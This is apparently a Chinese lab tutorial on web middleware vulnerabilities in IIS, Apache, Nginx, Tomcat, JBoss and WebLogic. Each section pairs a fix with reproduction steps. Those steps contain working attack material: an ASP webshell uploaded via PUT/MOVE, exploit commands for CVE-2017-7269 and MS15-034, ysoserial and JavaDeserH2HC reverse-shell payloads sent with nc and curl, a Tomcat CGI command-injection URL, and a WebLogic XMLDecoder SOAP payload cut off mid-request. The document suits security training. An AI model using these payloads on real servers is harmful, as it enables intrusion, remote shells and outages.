常见的中间件

中间件漏洞

概述

中间件（英语：Middleware）是提供系统软件和应用软件之间连接的软件，以便于软件各部件之间的沟通。

中间件处在操作系统和更高一级应用程序之间。他充当的功能是：将应用程序运行环境与操作系统隔离，从而实现应用程序开发者不必为更多系统问题忧虑，而直接关注该应用程序在解决问题上的能力 。

容器就是中间件 的一种。

也就是说，关于中间件，我们可以理解为：是一类能够为一种或多种应用程序合作互通、资源共享，同时还能够为该应用程序提供相关的服务的软件。（注意：中间件是一类软件的总称，不是单独的一个软件）

我们经常管web中间件叫做web服务器或者web容器

常见的web中间件

iis

apache

tomcat

nginx

jboss

Weblogic

WebSphere

iis6x

PUT漏洞

原理

IIS Server 在 Web 服务扩展中开启了 WebDAV ，配置了可以写入的权限，造成任意文件上传。

影响版本：IIS 6.0

复现

查看靶机的iis管理器，开启webDAV和网站的写入权限

接着我们用burp抓包

将GET改为OPTIONS提交，查看所支持的协议

可以看到支持PUT协议

接下来思路是，先用PUT协议创建一个txt文件，文件中写入asp一句话，再用MOVE修改文件名为asp后缀，这样脚本就能被解析执行

PUT /test.txt HTTP/1.1 
Host: upload.moonteam.com 
Content-Length: 25 

<%eval request("cmd")%>

test.txt创建成功

MOVE /test.txt HTTP/1.1 
Host: upload.moonteam.com 
Destination: http://upload.moonteam.com/shell.asp

 

可以看到test.txt成功被改为shell.asp了

修复

1. 关闭webdav
2. 关闭写入权限

iis6.0解析漏洞

基于文件名

原理

该版本默认将*.asp;.jpg 此种格式的文件名，当成Asp解析。服务器默认不解析 ; 号及其后面的内容，相当于截断。

iis除了会将asp解析成脚本执行文件之外，还会将 cer cdx asa扩展名解析成asp

我们在主目录配置下看到这几个扩展名 都执行同asp一样的文件C:\WINDOWS\system32\inetsrv\asp.dll，所以都被解析成asp

复现

我们上传或者创建文件，格式为*.asp;.jpg

我们在这里准备一个后门，sb.asp;1.jpg

修复

1. 禁止上传或常见此类畸形文件
2. 图片存放的目录禁止执行脚本文件
3. 升级iis版本

基于文件夹

原理

该版本默认将*.asp/目录下的所有文件当作asp解析

复现

创建.asp文件夹，将图片后门格式放到此文件夹

看到图片格式的后门也作为asp解析了

修复

1. 进制常见此类文件夹
2. 升级iis版本

iis短文件漏洞

描述

Windows 以 8.3 格式生成与 MS-DOS 兼容的（短）文件名，以允许基于 MS-DOS 或 16 位Windows的程序访问这些文件。

在cmd下输入”dir /x”即可看到短文件名的效果。

原理

当后缀小于4时，短文件名产生需要文件(夹)名前缀字符长度大于等于9位。

当后缀大于等于4时，文件名前缀字符长度即使为1，也会产生短文件名。

目前IIS支持短文件名猜测的HTTP方法主要包括：DEBUG、OPTIONS、GET、POST、HEAD、TRACE六 种

IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功

复现

IIS8.0以下版本需要开启ASP.NET支持，IIS>=8.0版本,即使没有安装ASP.NET，通过OPTIONS和TRACE方法也可以猜解成功。

我们这里开启IIS6.0 ASP.NET

短文件名特征：

1. .只显示前6位的字符,后续字符用~1代替。其中数字1是可以递增。如果存在文件名类似的文件,则前面的6个字符是相同的,后面的数字进行递增

   

2. 后缀名最长只有3位,超过3位的会生成短文件名,且后缀多余的部分会截断。

3. 所有小写字母均转换成大写的字母

4. 长文件名中包含多个”.”的时候,以文件最后一个”.”作为短文件名的后缀

5. 长文件名前缀/文件夹名字符长度符合0-9和A-Z、a-z范围且需要大于等于9位才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件。

手工

使用payload验证目标是否存在IIS短文件名漏洞

*可以匹配0或多个字符

http://upload.moonteam.com/*~1*/a.aspx

显示的404,说明目标存在该短文件名

http://upload.moonteam.com/zzzzzz*~1*/a.aspx

如果访问不存在的短文件名，会返回 Bad Request，说明文件不存在

我们通过这俩个payload，可以验证是否存在短文件漏洞，证明存在之后就要手工猜解出文件名

假如我们猜解的为abcde1231111.txt文件，他的前缀大于9位显然是个短文件

http://upload.moonteam.com/a*~1*/a.aspx
http://upload.moonteam.com/b*~1*/a.aspx

这俩张截图可以看出猜解的文件是以a开头的，接下来继续

http://upload.moonteam.com/ab*~1*/a.aspx
http://upload.moonteam.com/abc*~1*/a.aspx

这样逐渐猜解出文件名，猜解出文件名之后，我们需要知道此文件名所代表的是文件还是文件夹

http://upload.moonteam.com/abcde*~1.a*/a.aspx
http://upload.moonteam.com/abcde*~1.t*/a.aspx
http://upload.moonteam.com/abcde*~1.txt*/a.aspx

这样就知道他所代表的是一个txt的文件

工具

像上面这种猜解比较费时间，我们可以寻找短文件名工具来提高效率

放到kali里

python iis_shortname_Scan.py http://upload.moonteam.com

修复

1. 升级.net framework

2. 修改注册表的键值

   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem

   修改NtfsDisable8dot3NameCreation为1。修改完成后,需要重启系统生效。

   命令行关闭 执行fsutil behavior set disable8dot3 1，也可达到同样效果

win+r regedit

改为1之后，重启可以生效，这样创建出来的文件不会是短文件

但是已经存在的短文件无法移除，需要重新拷贝到另一个地方，删除原来的，再重命名回原来的名字，这样才会生效

iis RCE-CVE-2017-7269

iis6.0的远程代码执行

原理

Microsoft windows Server 2003 R2中的 Internet信息服务IIS6.0中的 WebDAV服务中的ScStoragePathFromUrl函数存在缓冲区溢出，允许远程攻击者通过以 If:<http:// 开头的长标头执行任意代码 PROPFIND请求

影响版本：WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。

复现

首先，我们此exp下载下来

下载前先再虚拟机把代理挂上

proxychains git clone https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

下载好exp后，我们看下目标的ip

python iis6exp 192.168.80.129 80 192.168.80.128 1234 

这里看到已经弹shell，ip已经是目标的ip了

修复

1. 关闭webDAV服务
2. 升级
3. 部署安全设备

iis7x

iis7x文件解析漏洞

原理

IIS7.x版本在Fast-CGl运行模式下，在任意文件，例：a001.jpg/png后面加上/.php，会将a001.jpg/png解析为php文件

复现

我们上传图片到网站根目录，访问它

看到此图片没有作为php解析，这时我们在其后加上/.php

看到图片做为php解析了

修复

1. 再phpini中配置 cgi fix_pathinfo=0 重启phpcgi

2. 再iis管理中的处理程序映射中修改请求限制，打勾即可

   

   这样就不会造成解析漏洞

HTTP.SYS远程代码执行(MS15-034)

原理

HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序，为了优化IIS服务器性能，从IIS6.0引入，IIS服务进程依赖HTTP.SYS

HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞，当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求，HTTP.sys 未正确分析时就会导致此漏洞，成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

主要存在Windows+IIS的环境下，任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响

影响范围：Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和Windows server 2012 R2

影响版本：IIS7.5、IIS8.0、IIS8.5

复现

我们访问此靶机网站

抓包后编辑，增加字段 Range: bytes=0-18446744073709551615，若返回码状态为416 RequestedRange Not Satisfiable，则存在HTTP.SYS远程代码执行漏洞。

直接增加字段为304，我们删除一些包信息

说明存在HTTP.SYS远程代码执行漏洞

我们下载poc，做一个dos的效果

https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC

kali上拉取此poc

运行脚本，填补信息

返回靶机看到已经蓝屏了

达到了dos的效果

修复

打补丁，KB3042553

apache

Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上，由于其跨平台和安全性被广泛使用，是最流行的 Web 服务器端软件之一。

apache的目录结构

bin：存放常用命令工具，如httpd 
cgi-bin：存放linux下常用命令，如xxx.sh 
error：错误记录 
htdocs：网站源码 
icons：网站图标 
manual：手册 
modules：扩展模块

未知扩展名解析漏洞

原理

Apache默认一个文件可以有多个以点分割的后缀，当最右边的后缀无法识别，则继续向左识别，直到识别到合法后缀才进行解析。

复现

假如上传了一个a.php.qqq，依照此特性，.qqq不认识，继续向左解析，.php认识，就会被解析为php文件。

关于apache，不在mime.types文件中的都不认识

1. 使用module模式与php结合的所有版本apache存在此漏洞。
2. 使用fastcgi模式与php结合的所有版本apache不存在此漏洞。
3. 利用此漏洞时必须保证扩展名中至少带有一个.php，不然将默认作为txt/html文档处理。

我们再kali上复现此漏洞

sudo service apache2 restart 
cd /etc/apache2/mods-enabled 
sudo vi php7.4.conf

正则表达式中，$用来匹配字符串结尾位置。如果设置了RegExp对象的Multiline属性的条件下，还会匹配到字符串结尾的换行符”\n”或”\r”。

这里我们把$改为\.，即可做到此漏洞效果

修改后我们重启apache服务

firefox localhost 打开

看到作为php解析了

修复

1. 在httpd.conf或httpd-vhosts.conf中加入以下语句，从而禁止文件名格式为*.php.*的访问权限：

   <FilesMatch ".(php.|php3.|php4.|php5.)"> 
   Order Deny,Allow 
   Deny from all 
   </FilesMatch> 

2. 如果需要保留此文件名，我们可以替换文件名中的.为_

   $filename = str_replace('.', '_', $filename);

AddHandler导致的解析漏洞

原理

apache在解析文件时有一个原则，碰到不认识的扩展名就会向前解析，直到遇到认识的扩展名。如果都不认识，就会暴露源码。

apache在配置不当时就会导致解析漏洞

复现

在httpd.conf中 把下列注释去掉，后缀是存在.php .phtml都会解析成php文件

AddType application/x-httpd-php .php .phtml

修改后重启，在网站根目录下创建

可以看到作为php解析了

修复

1. 在httpd.conf或httpd-vhosts.conf中加入以下语句，从而禁止文件名格式为*.php.*的访问权限：

   <FilesMatch ".(php.|php3.|php4.|php5.)"> 
   Order Deny,Allow 
   Deny from all 
   </FilesMatch> 

2. 将配置不当的地方配置得当

目录遍历漏洞

原理

当客户端访问到一个目录时，Apache服务器将会默认寻找一个index list中的文件，若文 件不存在，则会列出当前目录下所有文件或返回403状态码，导致目录遍历。

复现

httpd.conf

DocumentRoot "C:\phpStudy\WWW" 
<Directory /> 
Options +Indexes +FollowSymLinks +ExecCGI 
AllowOverride All 
Order allow,deny 
Allow from all 
Require all granted 
</Directory>

这时，访问一个目录

可以看到是一个遍历的状态

修复

在httpd.conf文件中找到Options + Indexes + FollowSymLinks + ExecCGI并修改成Options -Indexes +FollowSymLinks + ExecCGI并保存（吧+修改为-）

+ 允许目录浏览
- 进制目录浏览

重启服务后，刷新页面

看到进制目录遍历了

HTTPD 换行解析漏洞(CVE-2017-15715)

原理

Apache HTTPD是一款HTTP服务器，它可以通过mod_php来运行PHP网页。

其2.4.0~2.4.29版本中存在一个解析漏洞，在解析PHP时，1.php\x0a将被按照PHP后缀进行解析，导致绕过一些服务器的安全策略。

这里获取文件名是需要单独post一个name的，因为如果通过 $_FILES[‘file’][‘name’] 获取文件名的话，会把\x0a自动去除，所以 $_FILES[‘file’][‘name’] 这种方式获取文件名就不会造成这个漏洞

影响版本：apache ：2.4.0~2.4.29版本

复现

<html> 
<head><meta charset="utf-8"></head> 
<body>
<form action="" method="post" enctype="multipart/form-data"> 
<label for="file">文件名：</label> 
<input type="file" name="file" id="file"><br> 
<input type="text" name="name" <br> 
<input type="submit" name="submit" value="提交"> 
</form> 
</body> 
</html> 

<br /> 

<?php 
if(isset($_FILES['file'])){ 
\#1.php php 
$name =basename($_POST['name']); 
$ext = pathinfo($name,PATHINFO_EXTENSION); 
$array=array('php','php3','php4','php5','phtml','pht'); 
if(in_array($ext,$array)){ 
exit('bad file'); 
}
move_uploaded_file($_FILES['file']['tmp_name'],'./'.$name); 
}
?>

后台是通过黑名单方式过滤了php后缀的文件

如果设置了 RegExp对象的 Multiline属性，则也匹配 \n 或 \r恰好，我们在文件末尾加了0x0a（n），所以被匹配成功了。

0x0a和0x0d

1.0x0d \r CR这三者代表是回车，是同一个东西，回车的作用只是移动光标至该行的起始位置

2.0x0a \n CL这三者代表换行，是同一个东西，换行至下一行行首起始位置；

打开

sudo docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=0.0.0.0 7ea558c9f385 

同步镜像后，搜索CVE-2017-15715，下载，然后开启镜像

我们在本机创建一个upload.html，内容为上面的上传代码，action填入ip和镜像端口

之后我们上传一个1.txt，其中写入php代码

抓包

然后我们在hex修改，

修改后为换行符

然后我们访问这个文件

无法访问，我们加上换行符%0a，才能访问

修复

1. 升级到最新版本
2. 或将上传的文件重命名为为时间戳+随机数+.jpg的格式，并禁用上传文件目录执行

nginx

Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件（IMAP/POP3）代理服务器，在BSD-like协议下发行。其特点是占有内存少，并发能力强，事实上nginx的并发能力确实在同类型的网页服务器中表现较好。

文件解析漏洞

该漏洞是由于Nginx中php配置不当而造成的，与Nginx版本无关，但在高版本的php中，由于security.limit_extensions的引入，使得该漏洞难以被成功利用。

原理

Nginx的处理程序和FastCGI处理程序不同导致

Nginx拿到URL为/1.jpg/xxx.php后，识别处后缀是.php，认为是php文件，转交给PHP FastCGI处理程序去处理。PHP FastCGI处理程序识别该URI： /1.jpg/xxx.php不存在，按照PHP FastCGI处理程序自己的规则，删去最后的/xxx.php，又看/1.jpg存在，就将/1.jpg当成要执行的文件，就成功解析。

cgi.fix_pathinfo为php中的一个选项，默认开启为1，作用为修理路径，也就是对路径URL的处理规则

当php遇到文件路劲为/1.jpg/xxx.php/ss.001时，该文件不存在，会删除最后的/ss.001，再判断/1.jpg/xxx.php是否存在，若存在则将/1.jpg/xxx.php当作/1.jpg/xxx.php/ss.001文件，若不存在，则继续删除最后一个路径。删除的多余路径会存在PATH_INFO中，在这里为ss.001

复现

首先查看cgi.fix_pathinfo

默认为1，即存在此漏洞

修复

1. 将php.ini文件中的cgi.fix_pathinfo的值设置为0,这样php再解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示404页面
2. php-fpm.conf中的security.limit_extensions后面的值设置为.php

目录遍历漏洞

nginx的目录遍历跟apache一样，是配置不当引起的

原理

修改nginx.conf

修改为

autoindex on; 开启目录浏览
autoindex off; 关闭目录浏览

默认是关闭状态

复现

重启

修复

设置autoindex off; 关闭目录浏览

空字节代码执行漏洞

原理

在使用PHP-FastCGI执行php的时候，URL里面在遇到%00空字节时与FastCGI处理不一致，导致可在非php文件中嵌入php代码，通过访问url+%00.php来执行其中的php代码。

影响版本：

nginx 0.5.*

nginx 0.6.*

nginx 0.7 <= 0.7.65

nginx 0.8 <= 0.8.37

所以我们在碰到nginx版本小于1可以考虑此漏洞

复现

在根目录下添加1.jpg

访问

抓包，由于此图片非正常，burp抓不到，所以我们在末尾添加..让其能被抓到

我们修改为/1.jpg..php，在hex修改，将第一个.的2e修改为00

其实就是%00

可以看到被解析为php了

修复

1. 在nginx虚拟机配置或fcgi.conf添加

   if ($request_filename ~* (.*)\.php) { 
   set $php_url $1; 
   }
   
   if (!-e $php_url.php) { 
   return 403; 
   }

2. 升级nginx版本

CRLF注入漏洞

原理

Nginx将传入的url进行解码，对其中的%0a%0d替换成换行符，导致后面的数据注入至头部，造成CRLF注入漏洞。

复现

修改nginx.conf

return 302 https://$host$uri; 

重启

这时我们构造url来注入进http头部

http://192.168.0.161/%0ASet-cookie:JSPSESSID%3D3

可以看到已经被注入进头部了

修复

安全的进行配置，删除刚才添加的不当的部分

文件名逻辑漏洞(CVE-2013-4547)

原理

非法字符空格和截止符（\0）会导致Nginx解析URL时混乱，此漏洞可导致目录跨越及代码执行

影响版本：nginx 0.8.41 – 1.5.6

复现

上传准备好的1.jpg文件，并在文件后加个空格

改为GET方式，访问该文件

文件后加俩个空格，然后加上.php，然后hex修改

然后发送就会看到被解析为php了

修复

升级版本

Tomcat

Apache Tomcat是美国阿帕奇（Apache）软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page（JSP）的支持。

远程代码执行漏洞(CVE-2017-12615)

当 Tomcat运行在Windows操作系统时，启用了HTTP PUT请求方法且配置不当（例如，将 readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件，JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限

原理

当在Tomcat的conf（配置目录下）/web.xml配置文件中添加readonly设置为false时且允许put请求导致该漏洞产生

复现

拉取镜像启动

访问地址，抓包

将GET改为PUT，写入文件名和文件内容

可以看到上传成功了

有三种上传绕过，默认PUT+文件无法上传

PUT /shell.jsp%20 

PUT /shell.jsp::$DATA 

PUT /shell.jsp/

修复

将readonly设置为true

弱口令&war远程部署

原理

在tomcat8环境下默认进入后台的密码为tomcat/tomcat，未修改造成未授权即可进入后台，或者管理员把密码设置成弱口令，进入管理后，可以上传war后门

复现

将shell.jsp压缩为zip，然后改zip为war

上传后找到上传路径

然后通过冰蝎连接

上传后会自动解压

修复

1. 设置强口令
2. 删除manger

远程代码执行(CVE-2019-0232)

原理

由于JRE将命令行参数传递给Windows的方式存在错误，会导致CGI Servlet受到远程执行代码的攻击。

需要满足条件：

1. 系统为windows
2. 启用CGI Servlet(默认是关闭的)
3. 启用了enableCmdLineArguments（Tomcat 9.0.*及官方未来发布版本默认为关闭）

影响版本：

Apache Tomcat 9.0.0.M1 - 9.0.17

Apache Tomcat 8.5.0 - 8.5.39

Apache Tomcat 7.0.0 - 7.0.93

复现

我们搭建好tomcat后需要修改一些部分

在web.xml中，CGI_Servlet组件默认是关闭的，在 conf/web.xml 中找到注释的CGIServlet部分，去掉注释，并配置enableCmdLineArguments和executable

<servlet>
	<servlet-name>cgi</servlet-name>
	<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
	<init-param>
		<param-name>debug</param-name>
		<param-value>0</param-value>
	</init-param>

	<init-param>
		<param-name>cgiPathPrefix</param-name>
		<param-value>WEB-INF/cgi-bin</param-value>
	</init-param>

	<init-param>
		<param-name>executable</param-name>
		<param-value></param-value>
	</init-param>
		<load-on-startup>5</load-on-startup>
</servlet>

<servlet-mapping>
    <servlet-name>cgi</servlet-name>
    <url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

然后修改在conf/context.xml中的添加privileged=”true”语句

<Context privileged="true">

    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

    <!-- Uncomment this to disable session persistence across Tomcat restarts -->
    <!--
    <Manager pathname="" />
    -->
</Context>

在webapps-ROOT-WEB-INF下创建一个cgi-bin文件夹，并在文件夹内创建一个bat文件写入

@echo off 
echo Content-Type: text/plain 
echo. 
set off=%~1 
%off% 

完成在bin下双金startup.bat，然后访问8080端口

payload

192.168.80.131:8080/cgi-bin/hello.bat?&C%3A\Windows\System32\net user

修复

升级版本

Apache Tomcat 9.0.18或更高版本

Apache Tomcat 8.5.40或更高版本

Apache Tomcat 7.0.93或更高版本

反序列化漏洞(cve-2016-8735)

该漏洞与之前Oracle发布的mxRemoteLifecycleListener反序列化漏洞（CVE-2016-3427）相关，是由于使用了JmxRemoteLifecycleListener的监听功能所导致。而在Oracle官方发布修复后，Tomcat未能及时修复更新而导致 的远程代码执行。

原理

Tomcat在配置JMX做监控时使用了JmxRemoteLifecycleListener的方法

影响版本：

ApacheTomcat 9.0.0.M1 到9.0.0.M11

ApacheTomcat 8.5.0 到8.5.6

ApacheTomcat 8.0.0.RC1 到8.0.38

ApacheTomcat 7.0.0 到7.0.72

ApacheTomcat 6.0.0 到6.0.47

复现

外部需要开启JmxRemoteLifecycleListener监听的10001和10002端口，来实现远程代码执行。

在conf/server.xml中第30行中配置启用JmxRemoteLifecycleListener功能监听的端口：

<Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener" rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" /> 

修改bin\catalina.bat

在Execute The Requested Comman上面添加

set CATALINA_OPTS=-Dcom.sun.management.jmxremote.ssl=false - Dcom.sun.management.jmxremote.authenticate=false

-Dcom.sun.management.jmxremote.ssl=false 指定是否使用SSL通讯

-Dcom.sun.management.jmxremote.authenticate=false 指定是否需要密码验证

启动 startup.bat netstat -ano 查看端口

下载ysoserial

payload

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.0.167 10001 Groovy1 "calc.exe"

返回靶机看到弹出了计算机

修复

1. 关闭 JmxRemoteLifecycleListener 功能，或者是对 jmx JmxRemoteLifecycleListener 远程端口进行网络访问控制。同时，增加严格的认证方式。
2. 升级版本

文件包含漏洞(CVE-2020-1938)

攻击者可利用该漏洞读取或包含 Tomcat上所有 webapp 目录下的任意文件，如：webapp 配置文件或源代码等

影响版本：

Apache Tomcat 6

Tomcat 7系列 <7.0.100

Tomcat 8系列 < 8.5.51

Tomcat 9 系列 <9.0.31

原理

tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息，prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性。可以通过此种特性从而可以控制request对象的下面三个Attribute属性

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到应用目录下的任何文件。

复现

tomcat默认的conf/server.xml中配置了2个Connector，一个为8080的对外提供的HTTP协议端口，另外一个就是默认的8009 AJP协议端口，两个端口默认均监听在外网ip。

默认设置，启动startup.bat

打开kali使用payload攻击

https://github.com/xindongzhuaizhuai/CVE-2020-1938

python CVE-2020-1938.py -p 8009 -f WEB-INF/web.xml 192.168.80.131

可以看到读取到了文件

修复

1. 升级到安全版本

   Apache Tomcat 7.0.100

   Apache Tomcat 8.5.51

   Apache Tomcat 9.0.31

2. .关闭AJP服务，修改Tomcat配置文件Service.xml,注释掉

   <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

3. 配置ajp配置中的secretRequired跟secret属性来限制认证

jboss

JBoss是一个基于J2EE的开放源代码应用服务器，代码遵循LGPL许可，可以在任何商业应用中免费使用； JBoss也是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支 持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域，JBoss是发展最为 迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发，并且由开源社区开发，这使得JBoss广为流 行。

目录 描述

bin 启动和关闭JBoss 的脚本

client 客户端与JBoss 通信所需的Java 库（JARs）

docs 配置的样本文件（数据库配置等）

docs/dtd 在JBoss 中使用的各种XML 文件的DTD 。

lib 一些JAR，JBoss 启动时加载，且被所有JBoss 配置共享。（不要把你的库放在这里）

server 各种JBoss 配置。每个配置必须放在不同的子目录。子目录的名字表示配置的名字。JBoss 包含3个默认的配置：minimial，default 和all，在你安装时可以进行选择。

server/all JBoss 的完全配置，启动所有服务，包括集群和IIOP 。(本教程就采用此配置) 

server/default JBoss 的默认配置。在没有在JBoss 命令航中指定配置名称时使用。(本教程没有安装此配置，如果不指定配置名称，启动将会出错) 

server/all/conf JBoss 的配置文件。

server/all/data JBoss 的数据库文件。比如，嵌入的数据库，或者JBossMQ。

server/all/deploy JBoss 的热部署目录。放到这里的任何文件或目录会被JBoss 自动部署。EJB、WAR 、EAR，甚至服务。

server/all/lib 一些JAR，JBoss 在启动特定配置时加载他们。(default 和minimial 配置也包含这个和下面两个目录。) 

server/all/log JBoss 的日志文件

server/all/tmp JBoss 的临时文件。

JMX Console未授权访问Getshell

Jboxx4.x /jmx-console/ 后台存在未授权访问，进入后台后，可直接部署 war 包Getshell。若需登录，可以尝试爆破弱口令登录。

原理

由于JBoss中/jmx-console/HtmlAdaptor路径对外开放，并且没有任何身份验证机制，导致攻击者可以进⼊到jmx控制台，并在其中执⾏任何功能。

影响版本：Jboss4.x以下

复现

我们访问靶机的8080端口

进入

然后找到jboss.deployment（jboss 自带的部署功能）中的flavor=URL,type=DeploymentScanner点进去（通过 url 的方式远程部署）

找到页面中的void addURL()选项来远程加载war包来部署，写入war包的url

将冰蝎的shell.jsp压缩为zip，改名为war即可

上传后返回到console，找到jboss.web.deployment，如果找到刚刚上传的war说明上传成功

http://192.168.0.179:8080/1/1.jsp

这个地址连接即可

修复

1. 升级jboss
2. 关闭jmx-console和web-console，提高安全性

反序列化命令执行漏洞(CVE-2017-12149)

原理

在Jboss Application Server中，HTTP Invoker的ReadOnlyAccessFilter中的doFilter方法不限制对其执行反序列化的类，从而使攻击者可以通过精心制作的序列化数据执行任意代码

影响版本：

5.x/6.x

复现

我们打开靶机的jboss服务，run.bat

访问靶机的8080，查看jboss版本

此版本很可能存在此漏洞

该漏洞出现在/invoker/readonly中 ，服务器将用户post请求内容进行反序列化

我们可以访问路径来判断是否存在此漏洞

http://192.168.0.179:8080/invoker/readonly

也可以使用工具进行检测 DeserializeExploit

https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

成功的话可以直接执行命令

也可以使用JavaDeserH2HC进行反弹shell ，需要java8环境

https://github.com/joaomatosf/JavaDeserH2HC

进行操作前删除这俩个文件

创建class文件 
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 

监听kali 9999端口 
nc -lvnp 9999

创建反序列化文件 
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.182:9999 

psot提交 
curl http://192.168.0.179:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

可以看到成功反弹了

修复

1. 不需要 http-invoker.sar 组件的用户可直接删除此组件

2. 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中，对 http invoker 组件进行访问控制：

   <url-pattern>/*</url-pattern>

3. 升级版本

admin-Console后台部署war包Getshell

Jboss 5.x/6.x admin-console和web-console的账号密码是一样的。因此当web-console无法部署war包时，可以使用admin-console来部署。前提是先得到账号密码，密码保存在jboss/server/default/conf/props/jmx-console-users.properties

影响版本：5.x/6.x

复现

进入admin-console，输入账号密码，不知道的话可以穷举看看

http://192.168.0.179:8080/admin-console/login.seam?conversationId=2

admin admin 进入

在web application找到了上传war包的地方，我们还是用冰蝎的war包，whell.war

可以看到上传成功了

点击可以看到路径

冰蝎也能连接

修复

不要使用弱口令

JBOSSMQ JMS 集群反序列化漏洞 (CVE-2017-7504)

JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码

影响版本：JBoss AS 4.x及之前版本

复现

我们将靶机恢复到4.x版本，启动jboss

我们验证是否存在此漏洞

访问/jbossmq-httpil/HTTPServerILServlet 此路径，若为200，则可能存在此漏洞

我们还是用JavaDeserH2HC这个工具反弹shell，步骤不变，最后curl改下就行

curl http://192.168.0.179:8080/jbossmq httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

修复

升级版本

Weblogic

WebLogic是美国Oracle公司出品的一个application server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

WebLogic是美商Oracle的主要产品之一，是并购BEA得来。是商业市场上主要的Java（J2EE）应用服务器软件（application server）之一，是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出WebLogic Portal，WebLogic Integration等企业用的中间件（但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包），以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。

弱口令getshell漏洞

原理

搭建好weblogic之后没有修改进入后台的密码

复现

打进好weblogic之后，

C:\Oracle\Middleware\user_projects\domains\base_domain

startweblogic.cmd开启weblogic

访问登录界面

192.168.80.132:7001/console/

存放了一些弱口令

http://cirt.net/passwords?criteria=weblogic

weblogic/Oracle@123登陆后台

这里显然是一个可以利用上传war包的点，安装-上传文件

成功用冰蝎连接了

修复

使用强口令

XMLDecoder反序列化漏洞(CVE-2017-3506)

原理

构造SOAP（XML）格式的请求，在解析的过程中导致XMLDecoder反序列化漏洞

影响版本：10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0

复现

访问以下目录中的一种，如果存在回显，说明可能存在此漏洞

/wls-wsat/CoordinatorPortType 

/wls-wsat/RegistrationPortTypeRPC 

/wls-wsat/ParticipantPortType 

/wls-wsat/RegistrationRequesterPortType 

/wls-wsat/CoordinatorPortType11 

/wls-wsat/RegistrationPortTypeRPC11 

/wls-wsat/ParticipantPortType11 

/wls-wsat/RegistrationRequesterPortType11

构造好要放松的post包

POST /wls-wsat/CoordinatorPortType HTTP/1.1 
Host: 192.168.80.132:7001 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 
Accept: text/hAccept-Encoding: gzip, deflate 
Accept: */* 
Accept-Language: en 
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) 
Connection: close 
Content-Type: text/xml 
Content-Length: 1228 

<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
<soapenv:Header> 
<work:WorkContextxmlns:work="http://bea.com/2004/06/soap/workarea/"> 
<java><java version="1.4.0" class="java.beans.XMLDecoder"> 
<object class="java.io.PrintWriter">

<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string> 
<void method="println"><string> 
<![CDATA[ 
